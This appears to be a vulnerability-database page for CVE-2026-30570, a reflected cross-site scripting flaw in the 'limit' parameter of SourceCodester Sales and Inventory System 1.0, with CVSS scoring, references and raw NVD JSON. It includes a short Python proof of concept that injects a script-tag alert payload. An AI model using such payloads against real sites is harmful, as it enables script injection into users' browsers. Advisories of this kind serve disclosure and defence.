CVE-2026-30570

Description

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0 in the view_sales.php file via the "limit" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ahsanriaz26gmailcom:inventory_system:1.0:*:*:*:*:*:*:* - VULNERABLE

SourceCodester Sales and Inventory System 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-30570
import requests

target = "http://example.com/view_sales.php"
payload = "<script>alert('XSS')</script>"
url = f"{target}?limit={payload}"

r = requests.get(url)
if payload in r.text:
    print("Vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30570
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30570
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30570/
[4] VulDB https://vuldb.com/cve/CVE-2026-30570
[5] https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewSales-limit.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30570", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:28.597", "lastModified": "2026-04-06T14:16:25.100", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0 in the view_sales.php file via the \"limit\" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D4A61A9C-F969-4CD2-8A33-1A36DFFDEB8E"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewSales-limit.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}